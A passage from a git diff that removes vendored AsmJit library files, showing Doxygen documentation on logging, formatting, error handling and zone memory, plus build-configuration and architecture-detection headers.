an 8-bit value that describes a platform -//! independent type as we know from C/C++. It provides abstractions for -//! most common types like `int8_t`, `uint32_t`, `uintptr_t`, `float`, -//! `double`, and all possible vector types to match ISAs up to AVX512. -//! \ref Type::Id was introduced originally for \ref asmjit_compiler, but -//! it's now used by \ref FuncSignature as well. -//! -//! - \ref CallConv - Describes a calling convention - this class contains -//! instructions to assign registers and stack addresses to function -//! arguments and return value(s), but doesn't specify any function -//! signature itself. Calling conventions are architecture and OS dependent. -//! -//! - \ref FuncSignature - Describes a function signature, for example -//! `int func(int, int)`. FuncSignature contains a function calling convention -//! id, return value type, and function arguments. The signature itself is -//! platform independent and uses \ref Type::Id to describe types of function -//! arguments and function return value(s). -//! -//! - \ref FuncDetail - Architecture and ABI dependent information that describes -//! \ref CallConv and expanded \ref FuncSignature. Each function argument and -//! return value is represented as \ref FuncValue that contains the original -//! \ref Type::Id enriched with additional information that specifies whether -//! the value is passed or returned by register (and which register) or by -//! stack. Each value also contains some other metadata that provide additional -//! information required to handle it properly (for example whether a vector is -//! passed indirectly by a pointer as required by WIN64 calling convention). -//! -//! - \ref FuncFrame - Contains information about the function frame that can -//! be used by prolog/epilog inserter (PEI). Holds call stack size size and -//! alignment, local stack size and alignment, and various attributes that -//! describe how prolog and epilog should be constructed. `FuncFrame` doesn't -//! know anything about function's arguments or return values, it hold only -//! information necessary to create a valid and ABI conforming function prologs -//! and epilogs. -//! -//! - \ref FuncArgsAssignment - A helper class that can be used to reassign -//! function arguments into user specified registers. It's architecture and -//! ABI dependent mapping from function arguments described by \ref CallConv -//! and \ref FuncDetail into registers specified by the user. -//! -//! It's a lot of concepts where each represents one step in a function frame -//! calculation. It can be used to create function prologs, epilogs, and also -//! to calculate information necessary to perform function calls. - -// ============================================================================ -// [Documentation - asmjit_logging] -// ============================================================================ - -//! \defgroup asmjit_logging Logging -//! \brief Logging and formatting. -//! -//! ### Overview -//! -//! The initial phase of a project that generates machine code is not always smooth. -//! Failure cases are common not just at the beginning phase, but also during the -//! development or refactoring. AsmJit provides logging functionality to address -//! this issue. AsmJit does already a good job with function overloading to prevent -//! from emitting unencodable instructions, but it can't prevent from emitting machine -//! code that is correct at instruction level, but doesn't work when it's executed as -//! a whole. Logging has always been an important part of AsmJit's infrastructure and -//! looking at logs can sometimes reveal code generation issues quickly. -//! -//! AsmJit provides API for logging and formatting: -//! - \ref Logger - A logger that you can pass to \ref CodeHolder and all emitters -//! that inherit from \ref BaseEmitter. -//! - \ref FormatOptions - Formatting options that can change how instructions and -//! operands are formatted. -//! - \ref Formatter - A namespace that provides functions that can format input -//! data like \ref Operand, \ref BaseReg, \ref Label, and \ref BaseNode into -//! \ref String. -//! -//! AsmJit's \ref Logger serves the following purposes: -//! - Provides a basic foundation for logging. -//! - Abstract class leaving the implementation on users. The following built-in -//! inplementations are provided for simplicty: -//! - \ref FileLogger implements logging into a standard `FILE` stream. -//! - \ref StringLogger serializes all logs into a \ref String instance. -//! -//! AsmJit's \ref FormatOptions provides the following to customize the formatting of -//! instructions and operands through: -//! - \ref FormatOptions::Flags -//! - \ref FormatOptions::IndentationType -//! -//! ### Logging -//! -//! A \ref Logger is typically attached to a \ref CodeHolder, which propagates it -//! to all attached emitters automatically. The example below illustrates how to -//! use \ref FileLogger that outputs to standard output: -//! -//! ``` -//! #include -//! #include -//! -//! using namespace asmjit; -//! -//! int main() { -//! JitRuntime rt; // Runtime specialized for JIT code execution. -//! FileLogger logger(stdout); // Logger should always survive CodeHolder. -//! -//! CodeHolder code; // Holds code and relocation information. -//! code.init(rt.environment()); // Initialize to the same arch as JIT runtime. -//! code.setLogger(&logger); // Attach the `logger` to `code` holder. -//! -//! // ... code as usual, everything emitted will be logged to `stdout` ... -//! return 0; -//! } -//! ``` -//! -//! If output to FILE stream is not desired it's possible to use \ref StringLogger, -//! which concatenates everything into a multi-line string: -//! -//! ``` -//! #include -//! #include -//! #include -//! -//! using namespace asmjit; -//! -//! int main() { -//! JitRuntime rt; // Runtime specialized for JIT code execution. -//! StringLogger logger; // Logger should always survive CodeHolder. -//! -//! CodeHolder code; // Holds code and relocation information. -//! code.init(rt.environment()); // Initialize to the same arch as JIT runtime. -//! code.setLogger(&logger); // Attach the `logger` to `code` holder. -//! -//! // ... code as usual, logging will be concatenated to logger string ... -//! -//! // You can either use the string from StringLogger directly or you can -//! // move it. Logger::data() returns its content as null terminated char[]. -//! printf("Logger content: %s\n", logger.data()); -//! -//! // It can be moved into your own string like this: -//! String content = std::move(logger.content()); -//! printf("The same content: %s\n", content.data()); -//! -//! return 0; -//! } -//! ``` -//! -//! ### Formatting -//! -//! AsmJit uses \ref Formatter to format inputs that are then passed to \ref -//! Logger. Formatting is public and can be used by AsmJit users as well. The -//! most important thing to know regarding formatting is that \ref Formatter -//! always appends to the output string, so it can be used to build complex -//! strings without having to concatenate intermediate strings. -//! -//! The first example illustrates how to format operands: -//! -//! ``` -//! #include -//! #include -//! -//! using namespace asmjit; -//! -//! void logOperand(uint32_t arch, const Operand_& op) { -//! // The emitter is optional (named labels and virtual registers need it). -//! BaseEmitter* emitter = nullptr; -//! -//! // No flags by default. -//! uint32_t formatFlags = FormatOptions::kNoFlags; -//! -//! StringTmp<128> sb; -//! Formatter::formatOperand(sb, formatFlags, emitter, arch, op); -//! printf("%s\n", sb.data()); -//! } -//! -//! void formattingExample() { -//! using namespace x86; -//! -//! // Architecture is not part of operand, it must be passed explicitly. -//! // Format flags. We pass it explicitly also to 'logOperand' to make -//! // compatible with what AsmJit normally does. -//! uint32_t arch = Environment::kArchX64; -//! -//! log(arch, rax); // Prints 'rax'. -//! log(arch, ptr(rax, rbx, 2)); // Prints '[rax + rbx * 4]`. -//! log(arch, dword_ptr(rax, rbx, 2)); // Prints 'dword [rax + rbx * 4]`. -//! log(arch, imm(42)); // Prints '42'. -//! } -//! ``` -//! -//! Next example illustrates how to format whole instructions: -//! -//! ``` -//! #include -//! #include -//! #include -//! -//! using namespace asmjit; -//! -//! template -//! void logInstruction(uint32_t arch, const BaseInst& inst, Args&&... args) { -//! // The emitter is optional (named labels and virtual registers need it). -//! BaseEmitter* emitter = nullptr; -//! -//! // No flags by default. -//! uint32_t formatFlags = FormatOptions::kNoFlags; -//! -//! // The formatter expects operands in an array. -//! Operand_ operands { std::forward(args)... }; -//! -//! StringTmp<128> sb; -//! Formatter::formatInstruction( -//! sb, formatFlags, emitter, arch, inst, operands, sizeof...(args)); -//! printf("%s\n", sb.data()); -//! } -//! -//! void formattingExample() { -//! using namespace x86; -//! -//! // Architecture is not part of operand, it must be passed explicitly. -//! // Format flags. We pass it explicitly also to 'logOperand' to make -//! // compatible with what AsmJit normally does. -//! uint32_t arch = Environment::kArchX64; -//! -//! // Prints 'mov rax, rcx'. -//! logInstruction(arch, BaseInst(Inst::kIdMov), rax, rcx); -//! -//! // Prints 'vaddpd zmm0, zmm1, [rax] {1to8}'. -//! logInstruction(arch, -//! BaseInst(Inst::kIdVaddpd), -//! zmm0, zmm1, ptr(rax)._1toN()); -//! -//! // BaseInst abstracts instruction id, instruction options, and extraReg. -//! // Prints 'lock add [rax], rcx'. -//! logInstruction(arch, -//! BaseInst(Inst::kIdAdd, Inst::kOptionLock), -//! x86::ptr(rax), rcx); -//! -//! // Similarly an extra register (like AVX-512 selector) can be used. -//! // Prints 'vaddpd zmm0 {k2} {z}, zmm1, [rax]'. -//! logInstruction(arch, -//! BaseInst(Inst::kIdAdd, Inst::kOptionZMask, k2), -//! zmm0, zmm1, ptr(rax)); -//! } -//! ``` -//! -//! And finally, the example below illustrates how to use a built-in function -//! to format the content of \ref BaseBuilder, which consists of nodes: -//! -//! ``` -//! #include -//! #include -//! -//! using namespace asmjit; -//! -//! void formattingExample(BaseBuilder* builder) { -//! uint32_t formatFlags = FormatOptions::kNoFlags; -//! -//! // This also shows how temporary strings can be used. -//! StringTmp<512> sb; -//! -//! // FormatNodeList requires the String for output, formatting flags, which -//! // were zero (no extra flags), and the builder instance, which we have -//! // provided. An overloaded version also exists, which accepts begin and -//! // and end nodes, which can be used to only format a range of nodes. -//! Formatter::formatNodeList(sb, formatFlags, builder); -//! -//! // You can do whatever else with the string, it's always null terminated, -//! // so it can be passed to C functions like printf(). -//! printf("%s\n", sb.data()); -//! } -//! ``` - -// ============================================================================ -// [Documentation - asmjit_error_handling] -// ============================================================================ - -//! \defgroup asmjit_error_handling Error Handling -//! \brief Error handling. -//! -//! ### Overview -//! -//! AsmJit uses error codes to represent and return errors. Every function that -//! can fail returns an \ref Error code. Exceptions are never thrown by AsmJit -//! itself even in extreme conditions like out-of-memory, but it's possible to -//! override \ref ErrorHandler::handleError() to throw, in that case no error -//! will be returned and exception will be thrown instead. All functions where -//! this can happen are not marked `noexcept`. -//! -//! Errors should never be ignored, however, checking errors after each AsmJit -//! API call would simply overcomplicate the whole code generation experience. -//! \ref ErrorHandler exists to make the use of AsmJit API simpler as it allows -//! to customize how errors can be handled: -//! -//! - Record the error and continue (the way how the error is user-implemented). -//! - Throw an exception. AsmJit doesn't use exceptions and is completely -//! exception-safe, but it's perfectly legal to throw an exception from -//! the error handler. -//! - Use plain old C's `setjmp()` and `longjmp()`. Asmjit always puts Assembler, -//! Builder and Compiler to a consistent state before calling \ref -//! ErrorHandler::handleError(), so `longjmp()` can be used without issues to -//! cancel the code-generation if an error occurred. This method can be used if -//! exception handling in your project is turned off and you still want some -//! comfort. In most cases it should be safe as AsmJit uses \ref Zone memory -//! and the ownership of memory it allocates always ends with the instance that -//! allocated it. If using this approach please never jump outside the life-time -//! of \ref CodeHolder and \ref BaseEmitter. -//! -//! ### Using ErrorHandler -//! -//! An example of attaching \ref ErrorHandler to \ref CodeHolder. -//! -//! ``` -//! #include -//! #include -//! -//! using namespace asmjit; -//! -//! // A simple error handler implementation, extend according to your needs. -//! class MyErrorHandler : public ErrorHandler { -//! public: -//! void handleError(Error err, const char* message, BaseEmitter* origin) override { -//! printf("AsmJit error: %s\n", message); -//! } -//! }; -//! -//! int main() { -//! JitRuntime rt; -//! -//! MyErrorHandler myErrorHandler; -//! CodeHolder code; -//! -//! code.init(rt.environment()); -//! code.setErrorHandler(&myErrorHandler); -//! -//! x86::Assembler a(&code); -//! // ... code generation ... -//! -//! return 0; -//! } -//! ``` -//! -//! Useful classes in error handling group: -//! -//! - See \ref DebugUtils that provides utilities useful for debugging. -//! - See \ref Error that lists error codes that AsmJit uses. -//! - See \ref ErrorHandler for more details about error handling. - -// ============================================================================ -// [Documentation - asmjit_instruction_db] -// ============================================================================ - -//! \defgroup asmjit_instruction_db Instruction DB -//! \brief Instruction database (introspection, read/write, validation, ...). -//! -//! ### Overview -//! -//! AsmJit provides a public instruction database that can be used to query -//! information about a complete instruction. The instruction database requires -//! the knowledge of the following: -//! -//! - \ref BaseInst - Base instruction that contains instruction id, options, -//! and a possible extra-register that represents either REP prefix counter -//! or AVX-512 selector (mask). -//! - \ref Operand - Represents operands of an instruction. -//! -//! Each instruction can be then queried for the following information: -//! -//! - \ref InstRWInfo - Read/write information of instruction and its oprands. -//! - \ref OpRWInfo - Read/write information of a single operand, part of -//! \ref InstRWInfo data structure. -//! - \ref BaseFeatures - CPU features required to execute the instruction. -//! -//! In addition to query functionality AsmJit is also able to validate whether -//! an instruction and its operands are valid. This is useful for making sure -//! that what user tries to emit is correct and it can be also used by other -//! projects that parse user input, like AsmTK project. -//! -//! ### Query API -//! -//! The instruction query API is provided by \ref InstAPI namespace. The -//! following queries are possible: -//! -//! - \ref InstAPI::queryRWInfo() - queries read/write information of the -//! given instruction and its operands. Includes also CPU flags read/written. -//! -//! - \ref InstAPI::queryFeatures() - queries CPU features that are required -//! to execute the given instruction. A full instruction with operands must -//! be given as some architectures like X86 may require different features -//! for the same instruction based on its operands. -//! -//! - asmjit_test_x86_instinfo.cpp -//! can be also used as a reference about accessing instruction information. -//! -//! ### Validation API -//! -//! The instruction validation API is provided by \ref InstAPI namespace in the -//! similar fashion like the Query API, however, validation can also be turned -//! on at \ref BaseEmitter level. The following is possible: -//! -//! - \ref InstAPI::validate() - low-level instruction validation function -//! that is used internally by emitters if strict validation is enabled. -//! -//! - \ref BaseEmitter::addValidationOptions() - can be used to enable -//! validation at emitter level, see \ref BaseEmitter::ValidationOptions. - - -// ============================================================================ -// [Documentation - asmjit_virtual_memory] -// ============================================================================ - -//! \defgroup asmjit_virtual_memory Virtual Memory -//! \brief Virtual memory management. -//! -//! ### Overview -//! -//! AsmJit's virtual memory management is divided into two main categories: -//! -//! - Low level API that provides cross-platform abstractions for virtual -//! memory allocation. Implemented in \ref VirtMem namespace. -//! - High level API that makes it very easy to store generated code for -//! execution. See \ref JitRuntime, which is used by many examples for its -//! simplicity and easy integration with \ref CodeHolder. There is also -//! \ref JitAllocator, which lays somewhere between RAW memory allocation -//! and \ref JitRuntime. - -// ============================================================================ -// [Documentation - asmjit_zone_memory] -// ============================================================================ - -//! \defgroup asmjit_zone Zone Memory -//! \brief Zone memory allocator and containers. -//! -//! ### Overview -//! -//! AsmJit uses zone memory allocation (also known as Arena allocation) to allocate -//! most of the data it uses. It's a fast allocator that allows AsmJit to allocate -//! a lot of small data structures fast and without `malloc()` overhead. Since -//! code generators and all related classes are usually short-lived this approach -//! decreases memory usage and fragmentation as arena-based allocators always -//! allocate larger blocks of memory, which are then split into smaller chunks. -//! -//! Another advantage of zone memory allocation is that since the whole library -//! uses this strategy it's very easy to deallocate everything that a particular -//! instance is holding by simply releasing the memory the allocator holds. This -//! improves destruction time of such objects as there is no destruction at all. -//! Long-lived objects just reset its data in destructor or in their reset() -//! member function for a future reuse. For this purpose all containers in AsmJit -//! are also zone allocated. -//! -//! ### Zone Allocation -//! -//! - \ref Zone - Incremental zone memory allocator with minimum features. It -//! can only allocate memory without the possibility to return it back to -//! the allocator. -//! -//! - \ref ZoneTmp - A temporary \ref Zone with some initial static storage. -//! If the allocation requests fit the static storage allocated then there -//! will be no dynamic memory allocation during the lifetime of \ref ZoneTmp, -//! otherwise it would act as \ref Zone with one preallocated block on the -//! stack. -//! -//! - \ref ZoneAllocator - A wrapper of \ref Zone that provides the capability -//! of returning memory to the allocator. Such memory is stored in a pool for -//! later reuse. -//! -//! ### Zone Allocated Containers -//! -//! - \ref ZoneString - Zone allocated string. -//! - \ref ZoneHash - Zone allocated hash table. -//! - \ref ZoneTree - Zone allocated red-black tree. -//! - \ref ZoneList - Zone allocated double-linked list. -//! - \ref ZoneStack - Zone allocated stack. -//! - \ref ZoneVector - Zone allocated vector. -//! - \ref ZoneBitVector - Zone allocated vector of bits. -//! -//! ### Using Zone Allocated Containers -//! -//! The most common data structure exposed by AsmJit is \ref ZoneVector. It's very -//! similar to `std::vector`, but the implementation doesn't use exceptions and -//! uses the mentioned \ref ZoneAllocator for performance reasons. You don't have -//! to worry about allocations as you should not need to add items to AsmJit's -//! data structures directly as there should be API for all required operations. -//! -//! The following APIs in \ref CodeHolder returns \ref ZoneVector reference: -//! -//! ``` -//! using namespace asmjit; -//! -//! void example(CodeHolder& code) { -//! // Contains all emitters attached to CodeHolder. -//! const ZoneVector& emitters = code.emitters(); -//! -//! // Contains all section entries managed by CodeHolder. -//! const ZoneVector& sections = code.sections(); -//! -//! // Contains all label entries managed by CodeHolder. -//! const ZoneVector& labelEntries = code.labelEntries(); -//! -//! // Contains all relocation entries managed by CodeHolder. -//! const ZoneVector& relocEntries = code.relocEntries(); -//! } -//! ``` -//! -//! \ref ZoneVector has overloaded array access operator to make it possible -//! to access its elements through operator[]. Some standard functions like -//! \ref ZoneVector::empty(), \ref ZoneVector::size(), and \ref ZoneVector::data() -//! are provided as well. Vectors are also iterable through a range-based for loop: -//! -//! ``` -//! using namespace asmjit; -//! -//! void example(CodeHolder& code) { -//! for (LabelEntry* le : code.labelEntries()) { -//! printf("Label #%u {Bound=%s Offset=%llu}", -//! le->id(), -//! le->isBound() ? "true" : "false", -//! (unsigned long long)le->offset()); -//! } -//! } -//! ``` -//! -//! ### Design Considerations -//! -//! Zone-allocated containers do not store the allocator within the container. -//! This decision was made to reduce the footprint of such containers as AsmJit -//! tooling, especially Compiler's register allocation, may use many instances -//! of such containers to perform code analysis and register allocation. -//! -//! For example to append an item into a \ref ZoneVector it's required to pass -//! the allocator as the first argument, so it can be used in case that the -//! vector needs a reallocation. Such function also returns an error, which -//! must be propagated to the caller. -//! -//! ``` -//! using namespace asmjit -//! -//! Error example(ZoneAllocator* allocator) { -//! ZoneVector vector; -//! -//! // Unfortunately, allocator must be provided to all functions that mutate -//! // the vector. However, AsmJit users should never need to do this as all -//! // manipulation should be done through public API, which takes care of -//! // that. -//! for (int i = 0; i < 100; i++) { -//! ASMJIT_PROPAGATE(vector.append(allocator, i)); -//! } -//! -//! // By default vector's destructor doesn't release anything as it knows -//! // that its content is zone allocated. However, \ref ZoneVector::release -//! // can be used to explicitly release the vector data to the allocator if -//! // necessary -//! vector.release(allocator); -//! } -//! ``` -//! -//! Containers like \ref ZoneVector also provide a functionality to reserve a -//! certain number of items before any items are added to it. This approach is -//! used internally in most places as it allows to prepare space for data that -//! will be added to some container before the data itself was created. -//! -//! ``` -//! using namespace asmjit -//! -//! Error example(ZoneAllocator* allocator) { -//! ZoneVector vector; -//! -//! ASMJIT_PROPAGATE(vector.willGrow(100)); -//! for (int i = 0; i < 100; i++) { -//! // Cannot fail. -//! vector.appendUnsafe(allocator, i); -//! } -//! -//! vector.release(allocator); -//! } -//! ``` - -// ============================================================================ -// [Documentation - asmjit_utilities] -// ============================================================================ - -//! \defgroup asmjit_utilities Utilities -//! \brief Utility classes and functions. -//! -//! ### Overview -//! -//! AsmJit uses and provides utility classes and functions, that can be used -//! with AsmJit. The functionality can be divided into the following topics: -//! -//! ### String Functionality -//! -//! - \ref String - AsmJit's string container, which is used internally -//! and which doesn't use exceptions and has a stable layout, which is -//! not dependent on C++ standard library. -//! - \ref StringTmp - String that can have base storage allocated on -//! stack. The amount of storage on stack can be specified as a template -//! parameter. -//! - \ref FixedString - Fixed string container limited up to N characters. -//! -//! ### Code Generation Utilities -//! -//! - \ref ConstPool - Constant pool used by \ref BaseCompiler, but also -//! available to users that may find use of it. -//! -//! ### Support Functionality Used by AsmJit -//! -//! - \ref Support namespace provides many other utility functions and -//! classes that are used by AsmJit, and made public. - -// ============================================================================ -// [Documentation - asmjit_ backends] -// ============================================================================ - -//! \defgroup asmjit_x86 X86 Backend -//! \brief X86/X64 backend. - -// ============================================================================ -// [Documentation - asmjit_ra] -// ============================================================================ - -//! \cond INTERNAL -//! \defgroup asmjit_ra RA -//! \brief Register allocator internals. -//! \endcond - -} // {asmjit} - -// ============================================================================ -// [Core Headers] -// ============================================================================ - -#include "asmjit-scope-begin.h" -#include "core/archtraits.h" -#include "core/assembler.h" -#include "core/builder.h" -#include "core/codeholder.h" -#include "core/compiler.h" -#include "core/constpool.h" -#include "core/cpuinfo.h" -#include "core/datatypes.h" -#include "core/emitter.h" -#include "core/environment.h" -#include "core/errorhandler.h" -#include "core/features.h" -#include "core/formatter.h" -#include "core/func.h" -#include "core/globals.h" -#include "core/inst.h" -#include "core/jitallocator.h" -#include "core/jitruntime.h" -#include "core/logger.h" -#include "core/operand.h" -#include "core/osutils.h" -#include "core/string.h" -#include "core/support.h" -#include "core/target.h" -#include "core/type.h" -#include "core/virtmem.h" -#include "core/zone.h" -#include "core/zonehash.h" -#include "core/zonelist.h" -#include "core/zonetree.h" -#include "core/zonestack.h" -#include "core/zonestring.h" -#include "core/zonevector.h" -#include "asmjit-scope-end.h" - -// ============================================================================ -// [Deprecated] -// ============================================================================ - -#ifndef ASMJIT_NO_DEPRECATED -namespace asmjit { - -#ifndef ASMJIT_NO_COMPILER -ASMJIT_DEPRECATED("Use InvokeNode instead of FuncCallNode") -typedef InvokeNode FuncCallNode; -#endif // !ASMJIT_NO_COMPILER - -#ifndef ASMJIT_NO_LOGGING -namespace Logging { using namespace Formatter; } -#endif //! ASMJIT_NO_LOGGING - -} // {asmjit} -#endif // !ASMJIT_NO_DEPRECATED - -#endif // ASMJIT_CORE_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/api-build_p.h b/src/Theodosius/asmjit/core/api-build_p.h deleted file mode 100644 index db37ca7..0000000 --- a/src/Theodosius/asmjit/core/api-build_p.h +++ /dev/null @@ -1,77 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_API_BUILD_P_H_INCLUDED -#define ASMJIT_CORE_API_BUILD_P_H_INCLUDED - -#define ASMJIT_EXPORTS - -// Only turn-off these warnings when building asmjit itself. -#ifdef _MSC_VER - #ifndef _CRT_SECURE_NO_DEPRECATE - #define _CRT_SECURE_NO_DEPRECATE - #endif - #ifndef _CRT_SECURE_NO_WARNINGS - #define _CRT_SECURE_NO_WARNINGS - #endif -#endif - -// Dependencies only required for asmjit build, but never exposed through public headers. -#ifdef _WIN32 - #ifndef WIN32_LEAN_AND_MEAN - #define WIN32_LEAN_AND_MEAN - #endif - #ifndef NOMINMAX - #define NOMINMAX - #endif - #include -#endif - -// ============================================================================ -// [asmjit::Build - Globals - Build-Only] -// ============================================================================ - -#include "./api-config.h" - -#if !defined(ASMJIT_BUILD_DEBUG) && defined(__GNUC__) && !defined(__clang__) - #define ASMJIT_FAVOR_SIZE __attribute__((__optimize__("Os"))) - #define ASMJIT_FAVOR_SPEED __attribute__((__optimize__("O3"))) -#elif ASMJIT_CXX_HAS_ATTRIBUTE(__minsize__, 0) - #define ASMJIT_FAVOR_SIZE __attribute__((__minsize__)) - #define ASMJIT_FAVOR_SPEED -#else - #define ASMJIT_FAVOR_SIZE - #define ASMJIT_FAVOR_SPEED -#endif - -// Make sure '#ifdef'ed unit tests are properly highlighted in IDE. -#if !defined(ASMJIT_TEST) && defined(__INTELLISENSE__) - #define ASMJIT_TEST -#endif - -// Include a unit testing package if this is a `asmjit_test_unit` build. -#if defined(ASMJIT_TEST) - #include "../../../test/broken.h" -#endif - -#endif // ASMJIT_CORE_API_BUILD_P_H_INCLUDED diff --git a/src/Theodosius/asmjit/core/api-config.h b/src/Theodosius/asmjit/core/api-config.h deleted file mode 100644 index 9c5777c..0000000 --- a/src/Theodosius/asmjit/core/api-config.h +++ /dev/null @@ -1,552 +0,0 @@ -// AsmJit - Machine code generation for C++ -// -// * Official AsmJit Home Page: https://asmjit.com -// * Official Github Repository: https://github.com/asmjit/asmjit -// -// Copyright (c) 2008-2020 The AsmJit Authors -// -// This software is provided 'as-is', without any express or implied -// warranty. In no event will the authors be held liable for any damages -// arising from the use of this software. -// -// Permission is granted to anyone to use this software for any purpose, -// including commercial applications, and to alter it and redistribute it -// freely, subject to the following restrictions: -// -// 1. The origin of this software must not be misrepresented; you must not -// claim that you wrote the original software. If you use this software -// in a product, an acknowledgment in the product documentation would be -// appreciated but is not required. -// 2. Altered source versions must be plainly marked as such, and must not be -// misrepresented as being the original software. -// 3. This notice may not be removed or altered from any source distribution. - -#ifndef ASMJIT_CORE_API_CONFIG_H_INCLUDED -#define ASMJIT_CORE_API_CONFIG_H_INCLUDED - -// ============================================================================ -// [asmjit::Version] -// ============================================================================ - -//! \addtogroup asmjit_core -//! \{ - -//! AsmJit library version in `(Major << 16) | (Minor << 8) | (Patch)` format. -#define ASMJIT_LIBRARY_VERSION 0x010400 /* 1.4.0 */ - -//! \} - -// ============================================================================ -// [asmjit::Build - Documentation] -// ============================================================================ - -// NOTE: Doxygen cannot document macros that are not defined, that's why we have -// to define them and then undefine them, so it won't use the macros with its -// own preprocessor. -#ifdef _DOXYGEN -namespace asmjit { - -//! \addtogroup asmjit_build -//! \{ - -//! Asmjit is embedded, implies \ref ASMJIT_STATIC. -#define ASMJIT_EMBED - -//! Enables static-library build. -#define ASMJIT_STATIC - -//! Defined when AsmJit's build configuration is 'Debug'. -//! -//! \note Can be defined explicitly to bypass autodetection. -#define ASMJIT_BUILD_DEBUG - -//! Defined when AsmJit's build configuration is 'Release'. -//! -//! \note Can be defined explicitly to bypass autodetection. -#define ASMJIT_BUILD_RELEASE - -//! Defined to build X86/X64 backend. -#define ASMJIT_BUILD_X86 - -//! Defined to build host backend autodetected at compile-time. -#define ASMJIT_BUILD_HOST - -//! Disables deprecated API at compile time. -#define ASMJIT_NO_DEPRECATED - -//! Disable non-host architectures entirely. -#define ASMJIT_NO_FOREIGN - -//! Disables \ref asmjit_builder functionality completely. -#define ASMJIT_NO_BUILDER - -//! Disables \ref asmjit_compiler functionality completely. -#define ASMJIT_NO_COMPILER - -//! Disables JIT memory management and \ref JitRuntime. -#define ASMJIT_NO_JIT - -//! Disables \ref Logger and \ref Formatter. -#define ASMJIT_NO_LOGGING - -//! Disables everything that contains text. -#define ASMJIT_NO_TEXT - -//! Disables instruction validation API. -#define ASMJIT_NO_VALIDATION - -//! Disables instruction introspection API. -#define ASMJIT_NO_INTROSPECTION - -// Avoid doxygen preprocessor using feature-selection definitions. -#undef ASMJIT_NO_BUILDER -#undef ASMJIT_NO_COMPILER -#undef ASMJIT_NO_JIT -#undef ASMJIT_NO_LOGGING -#undef ASMJIT_NO_TEXT -#undef ASMJIT_NO_VALIDATION -#undef ASMJIT_NO_INTROSPECTION - -//! \} - -} // {asmjit} -#endif // _DOXYGEN - -// Enable all features at IDE level, so it's properly highlighted and indexed. -#ifdef __INTELLISENSE__ - #ifndef ASMJIT_BUILD_X86 - #define ASMJIT_BUILD_X86 - #endif -#endif - -// ============================================================================ -// [asmjit::Dependencies] -// ============================================================================ - -// We really want std-types as globals. -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include - -#if !defined(_WIN32) && !defined(__EMSCRIPTEN__) - #include -#endif - - -// ============================================================================ -// [asmjit::Options] -// ============================================================================ - -// ASMJIT_NO_BUILDER implies ASMJIT_NO_COMPILER. -#if defined(ASMJIT_NO_BUILDER) && !defined(ASMJIT_NO_COMPILER) - #define ASMJIT_NO_COMPILER -#endif - -// Prevent compile-time errors caused by misconfiguration. -#if defined(ASMJIT_NO_TEXT) && !defined(ASMJIT_NO_LOGGING) - #pragma "ASMJIT_NO_TEXT can only be defined when ASMJIT_NO_LOGGING is defined." - #undef ASMJIT_NO_TEXT -#endif - -#if defined(ASMJIT_NO_INTROSPECTION) && !defined(ASMJIT_NO_COMPILER) - #pragma message("ASMJIT_NO_INTROSPECTION can only be defined when ASMJIT_NO_COMPILER is defined") - #undef ASMJIT_NO_INTROSPECTION -#endif - -// ============================================================================ -// [asmjit::Build - Globals - Deprecated] -// ============================================================================ - -#ifndef ASMJIT_NO_DEPRECATED - #if defined(ASMJIT_BUILD_EMBED) || defined(ASMJIT_BUILD_STATIC) - #if defined(ASMJIT_BUILD_EMBED) - #pragma message("'ASMJIT_BUILD_EMBED' is deprecated, use 'ASMJIT_STATIC'") - #endif - #if defined(ASMJIT_BUILD_STATIC) - #pragma message("'ASMJIT_BUILD_STATIC' is deprecated, use 'ASMJIT_STATIC'") - #endif - - #if !defined(ASMJIT_STATIC) - #define ASMJIT_STATIC - #endif - #endif -#endif // !ASMJIT_NO_DEPRECATED - -// ============================================================================ -// [asmjit::Build - Globals - Build Mode] -// ============================================================================ - -// Detect ASMJIT_BUILD_DEBUG and ASMJIT_BUILD_RELEASE if not defined. -#if !defined(ASMJIT_BUILD_DEBUG) && !defined(ASMJIT_BUILD_RELEASE) - #if !defined(NDEBUG) - #define ASMJIT_BUILD_DEBUG - #else - #define ASMJIT_BUILD_RELEASE - #endif -#endif - -// ============================================================================ -// [asmjit::Build - Globals - Target Architecture Information] -// ============================================================================ - -#if defined(_M_X64) || defined(__x86_64__) - #define ASMJIT_ARCH_X86 64 -#elif defined(_M_IX86) || defined(__X86__) || defined(__i386__) - #define ASMJIT_ARCH_X86 32 -#else - #define ASMJIT_ARCH_X86 0 -#endif - -#if defined(__arm64__) || defined(__aarch64__) -# define ASMJIT_ARCH_ARM 64 -#elif defined(_M_ARM) || defined(_M_ARMT) || defined(__arm__) || defined(__thumb__) || defined(__thumb2__) - #define ASMJIT_ARCH_ARM 32 -#else - #define ASMJIT_ARCH_ARM 0 -#endif - -#if defined(_MIPS_ARCH_MIPS64) || defined(__mips64) - #define ASMJIT_ARCH_MIPS 64 -#elif defined(_MIPS_ARCH_MIPS32) || defined(_M_MRX000) || defined(__mips__) - #define ASMJIT_ARCH_MIPS 32 -#else - #define ASMJIT_ARCH_MIPS 0 -#endif - -#define ASMJIT_ARCH_BITS (ASMJIT_ARCH_X86 | ASMJIT_ARCH_ARM | ASMJIT_ARCH_MIPS) -#if ASMJIT_ARCH_BITS == 0 - #undef ASMJIT_ARCH_BITS - #if defined (__LP64__) || defined(_LP64) - #define ASMJIT_ARCH_BITS 64 - #else - #define ASMJIT_ARCH_BITS 32 - #endif -#endif - -#if (defined(__ARMEB__)) || \ - (defined(__MIPSEB__)) || \ - (defined(__BYTE_ORDER__) && (__BYTE_ORDER__ == __ORDER_BIG_ENDIAN__)) - #define ASMJIT_ARCH_LE 0 - #define ASMJIT_ARCH_BE 1 -#else - #define ASMJIT_ARCH_LE 1 - #define ASMJIT_ARCH_BE 0 -#endif - -// ============================================================================ -// 